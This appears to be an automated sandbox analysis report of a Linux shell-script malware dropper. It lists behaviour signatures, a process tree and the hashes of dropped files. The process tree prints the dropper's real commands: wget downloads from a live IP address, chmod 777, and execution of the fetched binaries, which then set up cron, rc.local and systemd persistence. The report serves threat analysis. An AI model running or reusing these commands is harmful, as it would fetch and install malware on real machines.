Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/08/2026, 08:24

General

  • Target
    p.sh
  • Size 839B
  • Sample260802-kaxexsfl6x
  • SHA256 db65e6893ed2c3faa4576a7e61e06df23a3da843405f1e960ddc3eeabae9962b
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/p.sh
    /tmp/p.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:650
    • /bin/ls
      ls -l /proc/1/exe
      2⤵
        PID:652
      • /bin/ls
        ls -l /proc/10/exe
        2⤵
          PID:657
        • /bin/ls
          ls -l /proc/104/exe
          2⤵
            PID:662
          • /bin/ls
            ls -l /proc/11/exe
            2⤵
              PID:666
            • /bin/ls
              ls -l /proc/112/exe
              2⤵
                PID:672
              • /bin/ls
                ls -l /proc/114/exe
                2⤵
                • Reads runtime system information
                PID:675
              • /bin/ls
                ls -l /proc/115/exe
                2⤵
                  PID:678
                • /bin/ls
                  ls -l /proc/12/exe
                  2⤵
                    PID:680
                  • /bin/ls
                    ls -l /proc/13/exe
                    2⤵
                      PID:683
                    • /bin/ls
                      ls -l /proc/14/exe
                      2⤵
                        PID:684
                      • /bin/ls
                        ls -l /proc/142/exe
                        2⤵
                          PID:686
                        • /bin/ls
                          ls -l /proc/143/exe
                          2⤵
                            PID:687
                          • /bin/ls
                            ls -l /proc/146/exe
                            2⤵
                            • Reads runtime system information
                            PID:688
                          • /bin/ls
                            ls -l /proc/15/exe
                            2⤵
                              PID:689
                            • /bin/ls
                              ls -l /proc/154/exe
                              2⤵
                                PID:691
                              • /bin/ls
                                ls -l /proc/16/exe
                                2⤵
                                  PID:692
                                • /bin/ls
                                  ls -l /proc/165/exe
                                  2⤵
                                  • Reads runtime system information
                                  PID:693
                                • /bin/ls
                                  ls -l /proc/17/exe
                                  2⤵
                                    PID:694
                                  • /bin/ls
                                    ls -l /proc/176/exe
                                    2⤵
                                      PID:695
                                    • /bin/ls
                                      ls -l /proc/18/exe
                                      2⤵
                                        PID:696
                                      • /bin/ls
                                        ls -l /proc/19/exe
                                        2⤵
                                          PID:697
                                        • /bin/ls
                                          ls -l /proc/2/exe
                                          2⤵
                                          • Reads runtime system information
                                          PID:698
                                        • /bin/ls
                                          ls -l /proc/20/exe
                                          2⤵
                                            PID:699
                                          • /bin/ls
                                            ls -l /proc/21/exe
                                            2⤵
                                              PID:700
                                            • /bin/ls
                                              ls -l /proc/22/exe
                                              2⤵
                                              • Reads runtime system information
                                              PID:701
                                            • /bin/ls
                                              ls -l /proc/221/exe
                                              2⤵
                                                PID:702
                                              • /bin/ls
                                                ls -l /proc/23/exe
                                                2⤵
                                                  PID:703
                                                • /bin/ls
                                                  ls -l /proc/24/exe
                                                  2⤵
                                                    PID:704
                                                  • /bin/ls
                                                    ls -l /proc/25/exe
                                                    2⤵
                                                      PID:705
                                                    • /bin/ls
                                                      ls -l /proc/26/exe
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:706
                                                    • /bin/ls
                                                      ls -l /proc/27/exe
                                                      2⤵
                                                        PID:707
                                                      • /bin/ls
                                                        ls -l /proc/276/exe
                                                        2⤵
                                                          PID:708
                                                        • /bin/ls
                                                          ls -l /proc/279/exe
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:709
                                                        • /bin/ls
                                                          ls -l /proc/28/exe
                                                          2⤵
                                                            PID:710
                                                          • /bin/ls
                                                            ls -l /proc/283/exe
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:711
                                                          • /bin/ls
                                                            ls -l /proc/286/exe
                                                            2⤵
                                                              PID:712
                                                            • /bin/ls
                                                              ls -l /proc/29/exe
                                                              2⤵
                                                                PID:713
                                                              • /bin/ls
                                                                ls -l /proc/292/exe
                                                                2⤵
                                                                  PID:714
                                                                • /bin/ls
                                                                  ls -l /proc/3/exe
                                                                  2⤵
                                                                    PID:715
                                                                  • /bin/ls
                                                                    ls -l /proc/309/exe
                                                                    2⤵
                                                                      PID:716
                                                                    • /bin/ls
                                                                      ls -l /proc/314/exe
                                                                      2⤵
                                                                        PID:717
                                                                      • /bin/ls
                                                                        ls -l /proc/318/exe
                                                                        2⤵
                                                                          PID:718
                                                                        • /bin/ls
                                                                          ls -l /proc/326/exe
                                                                          2⤵
                                                                            PID:719
                                                                          • /bin/ls
                                                                            ls -l /proc/329/exe
                                                                            2⤵
                                                                              PID:720
                                                                            • /bin/ls
                                                                              ls -l /proc/4/exe
                                                                              2⤵
                                                                                PID:721
                                                                              • /bin/ls
                                                                                ls -l /proc/41/exe
                                                                                2⤵
                                                                                • Reads runtime system information
                                                                                PID:722
                                                                              • /bin/ls
                                                                                ls -l /proc/42/exe
                                                                                2⤵
                                                                                  PID:723
                                                                                • /bin/ls
                                                                                  ls -l /proc/43/exe
                                                                                  2⤵
                                                                                    PID:724
                                                                                  • /bin/ls
                                                                                    ls -l /proc/5/exe
                                                                                    2⤵
                                                                                      PID:725
                                                                                    • /bin/ls
                                                                                      ls -l /proc/572/exe
                                                                                      2⤵
                                                                                        PID:726
                                                                                      • /bin/ls
                                                                                        ls -l /proc/585/exe
                                                                                        2⤵
                                                                                          PID:727
                                                                                        • /bin/ls
                                                                                          ls -l /proc/587/exe
                                                                                          2⤵
                                                                                            PID:728
                                                                                          • /bin/ls
                                                                                            ls -l /proc/594/exe
                                                                                            2⤵
                                                                                              PID:729
                                                                                            • /bin/ls
                                                                                              ls -l /proc/595/exe
                                                                                              2⤵
                                                                                                PID:732
                                                                                              • /bin/ls
                                                                                                ls -l /proc/6/exe
                                                                                                2⤵
                                                                                                  PID:734
                                                                                                • /bin/ls
                                                                                                  ls -l /proc/635/exe
                                                                                                  2⤵
                                                                                                    PID:736
                                                                                                  • /bin/ls
                                                                                                    ls -l /proc/640/exe
                                                                                                    2⤵
                                                                                                      PID:738
                                                                                                    • /bin/ls
                                                                                                      ls -l /proc/643/exe
                                                                                                      2⤵
                                                                                                        PID:740
                                                                                                      • /bin/ls
                                                                                                        ls -l /proc/645/exe
                                                                                                        2⤵
                                                                                                          PID:742
                                                                                                        • /bin/ls
                                                                                                          ls -l /proc/647/exe
                                                                                                          2⤵
                                                                                                          • Reads runtime system information
                                                                                                          PID:744
                                                                                                        • /bin/ls
                                                                                                          ls -l /proc/648/exe
                                                                                                          2⤵
                                                                                                            PID:746
                                                                                                          • /bin/ls
                                                                                                            ls -l /proc/649/exe
                                                                                                            2⤵
                                                                                                              PID:748
                                                                                                            • /bin/ls
                                                                                                              ls -l /proc/650/exe
                                                                                                              2⤵
                                                                                                              • Reads runtime system information
                                                                                                              PID:751
                                                                                                            • /bin/ls
                                                                                                              ls -l /proc/651/exe
                                                                                                              2⤵
                                                                                                                PID:753
                                                                                                              • /bin/ls
                                                                                                                ls -l /proc/7/exe
                                                                                                                2⤵
                                                                                                                  PID:755
                                                                                                                • /bin/ls
                                                                                                                  ls -l /proc/8/exe
                                                                                                                  2⤵
                                                                                                                    PID:757
                                                                                                                  • /bin/ls
                                                                                                                    ls -l /proc/83/exe
                                                                                                                    2⤵
                                                                                                                      PID:759
                                                                                                                    • /bin/ls
                                                                                                                      ls -l /proc/9/exe
                                                                                                                      2⤵
                                                                                                                        PID:761
                                                                                                                      • /bin/rm
                                                                                                                        rm -rf EyMl
                                                                                                                        2⤵
                                                                                                                          PID:763
                                                                                                                        • /usr/bin/wget
                                                                                                                          wget http://129.121.110.105/EyMl
                                                                                                                          2⤵
                                                                                                                          • Writes file to tmp directory
                                                                                                                          PID:765
                                                                                                                        • /bin/chmod
                                                                                                                          chmod 777 EyMl
                                                                                                                          2⤵
                                                                                                                          • File and Directory Permissions Modification
                                                                                                                          PID:776
                                                                                                                        • /tmp/EyMl
                                                                                                                          ./EyMl pdvr
                                                                                                                          2⤵
                                                                                                                          • Creates/modifies Cron job
                                                                                                                          • Modifies rc script
                                                                                                                          • Modifies systemd
                                                                                                                          • Checks CPU configuration
                                                                                                                          • Reads runtime system information
                                                                                                                          PID:780
                                                                                                                          • /usr/local/sbin/systemctl
                                                                                                                            systemctl daemon-reload
                                                                                                                            3⤵
                                                                                                                              PID:800
                                                                                                                            • /usr/local/sbin/systemctl
                                                                                                                              systemctl enable crond.service
                                                                                                                              3⤵
                                                                                                                                PID:801
                                                                                                                              • /usr/local/bin/systemctl
                                                                                                                                systemctl enable crond.service
                                                                                                                                3⤵
                                                                                                                                  PID:801
                                                                                                                                • /usr/local/bin/systemctl
                                                                                                                                  systemctl daemon-reload
                                                                                                                                  3⤵
                                                                                                                                    PID:800
                                                                                                                                  • /usr/sbin/systemctl
                                                                                                                                    systemctl enable crond.service
                                                                                                                                    3⤵
                                                                                                                                      PID:801
                                                                                                                                    • /usr/sbin/systemctl
                                                                                                                                      systemctl daemon-reload
                                                                                                                                      3⤵
                                                                                                                                        PID:800
                                                                                                                                      • /usr/bin/systemctl
                                                                                                                                        systemctl enable crond.service
                                                                                                                                        3⤵
                                                                                                                                          PID:801
                                                                                                                                        • /usr/bin/systemctl
                                                                                                                                          systemctl daemon-reload
                                                                                                                                          3⤵
                                                                                                                                            PID:800
                                                                                                                                          • /sbin/systemctl
                                                                                                                                            systemctl daemon-reload
                                                                                                                                            3⤵
                                                                                                                                              PID:800
                                                                                                                                            • /sbin/systemctl
                                                                                                                                              systemctl enable crond.service
                                                                                                                                              3⤵
                                                                                                                                                PID:801
                                                                                                                                              • /bin/systemctl
                                                                                                                                                systemctl daemon-reload
                                                                                                                                                3⤵
                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                PID:800
                                                                                                                                              • /bin/systemctl
                                                                                                                                                systemctl enable crond.service
                                                                                                                                                3⤵
                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                • Reads runtime system information
                                                                                                                                                PID:801
                                                                                                                                            • /bin/rm
                                                                                                                                              rm -rf TCIi
                                                                                                                                              2⤵
                                                                                                                                                PID:787
                                                                                                                                              • /usr/bin/wget
                                                                                                                                                wget http://129.121.110.105/TCIi
                                                                                                                                                2⤵
                                                                                                                                                  PID:799
                                                                                                                                                • /bin/chmod
                                                                                                                                                  chmod 777 TCIi
                                                                                                                                                  2⤵
                                                                                                                                                  • File and Directory Permissions Modification
                                                                                                                                                  PID:803
                                                                                                                                                • /tmp/TCIi
                                                                                                                                                  ./TCIi pdvr
                                                                                                                                                  2⤵
                                                                                                                                                    PID:805
                                                                                                                                                  • /bin/rm
                                                                                                                                                    rm -rf DQ0
                                                                                                                                                    2⤵
                                                                                                                                                      PID:806
                                                                                                                                                    • /usr/bin/wget
                                                                                                                                                      wget http://129.121.110.105/DQ0
                                                                                                                                                      2⤵
                                                                                                                                                        PID:807
                                                                                                                                                      • /bin/chmod
                                                                                                                                                        chmod 777 DQ0
                                                                                                                                                        2⤵
                                                                                                                                                        • File and Directory Permissions Modification
                                                                                                                                                        PID:810
                                                                                                                                                      • /tmp/DQ0
                                                                                                                                                        ./DQ0 pdvr
                                                                                                                                                        2⤵
                                                                                                                                                          PID:818
                                                                                                                                                        • /bin/rm
                                                                                                                                                          rm -rf mYH
                                                                                                                                                          2⤵
                                                                                                                                                            PID:820
                                                                                                                                                          • /usr/bin/wget
                                                                                                                                                            wget http://129.121.110.105/mYH
                                                                                                                                                            2⤵
                                                                                                                                                              PID:825
                                                                                                                                                            • /bin/chmod
                                                                                                                                                              chmod 777 mYH
                                                                                                                                                              2⤵
                                                                                                                                                              • File and Directory Permissions Modification
                                                                                                                                                              PID:828
                                                                                                                                                            • /tmp/mYH
                                                                                                                                                              ./mYH pdvr
                                                                                                                                                              2⤵
                                                                                                                                                                PID:829
                                                                                                                                                              • /bin/rm
                                                                                                                                                                rm -rf 9YZ5
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:830
                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                  wget http://129.121.110.105/9YZ5
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:831
                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                    chmod 777 9YZ5
                                                                                                                                                                    2⤵
                                                                                                                                                                    • File and Directory Permissions Modification
                                                                                                                                                                    PID:832
                                                                                                                                                                  • /tmp/9YZ5
                                                                                                                                                                    ./9YZ5 pdvr
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:833
                                                                                                                                                                    • /bin/rm
                                                                                                                                                                      rm -rf p
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:834

                                                                                                                                                                    Network

                                                                                                                                                                          MITRE ATT&CK Enterprise v16

                                                                                                                                                                          Replay Monitor

                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                          Downloads

                                                                                                                                                                          crond

                                                                                                                                                                          • Path /etc/cron.d/crond
                                                                                                                                                                          • Size 31B
                                                                                                                                                                          • SHA256 c799ad11d5d1bd0500c9301d8547125cf437da0bf1dcf01ed3ea05cf959c1431
                                                                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                                                                          rc.local

                                                                                                                                                                          • Path /etc/rc.local
                                                                                                                                                                          • Size 10B
                                                                                                                                                                          • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                                                                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                                                                          rc.local

                                                                                                                                                                          • Path /etc/rc.local
                                                                                                                                                                          • Size 35B
                                                                                                                                                                          • SHA256 62b26c30989ab90d048f46113f98baeee4f1884294dbe40c0a096ab843e7ea91
                                                                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                                                                          crond.service

                                                                                                                                                                          • Path /etc/systemd/system/crond.service
                                                                                                                                                                          • Size 194B
                                                                                                                                                                          • SHA256 1b0a66531bda7c0ac22d7097d1c5bceed08b28075023df9a874dea713fad5e8c
                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                          EyMl

                                                                                                                                                                          • Path /tmp/EyMl
                                                                                                                                                                          • Size 69KB
                                                                                                                                                                          • SHA256 3dcff7e3ded3bf19981d30151dcaf48915e545d569eb97483d70aec1b7db70cc
                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                                                          p

                                                                                                                                                                          • Path /tmp/p
                                                                                                                                                                          • Size 1B
                                                                                                                                                                          • SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
                                                                                                                                                                          • MD5 SHA1 SHA512